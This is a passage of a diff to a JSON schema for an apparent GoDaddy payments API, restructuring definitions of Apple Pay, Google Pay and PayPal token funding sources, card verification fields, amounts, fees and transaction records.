"postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Apple pay token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "ApplePayPaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/google-pay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" ], - "description": "CVV verification result", - "readOnly": true + "title": "Address", + "type": "object" }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true }, - "approvalCode": { + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" + "writeOnly": true }, - "scaResult": { + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" + "writeOnly": true }, - "interacMacResult": { + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "writeOnly": true }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "writeOnly": true } - } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" } ], "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" + "type": { + "description": "Discriminator type", + "type": "string" } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" } }, - "required": [ - "processorType" - ] - }, - "notes": { + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Google pay token", "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "writeOnly": true } }, "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents authorization transaction against a payment" - }, - "readOnly": true, - "description": "Authorizations for the payment" - }, - "adjustments": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "allOf": [ + "token" + ], + "title": "GooglePayPaymentToken", + "type": "object" + }, { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "propertyName": "type" }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } + "country": { + "description": "Country", + "type": "string" }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cardPin": { + "description": "Card pin block.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "writeOnly": true }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + }, + "title": "Card VerificationData", + "type": "object" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "city": { + "description": "City", + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "country": { + "description": "Country", + "type": "string" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "line1": { + "description": "Address line 1", + "type": "string" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "line2": { + "description": "Address line 2", + "type": "string" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "postalCode": { + "description": "Postal Code", + "type": "string" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "id": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "netAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "paymentContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + }, + "refNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + }, + "refunds": { + "description": "Refunds for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": 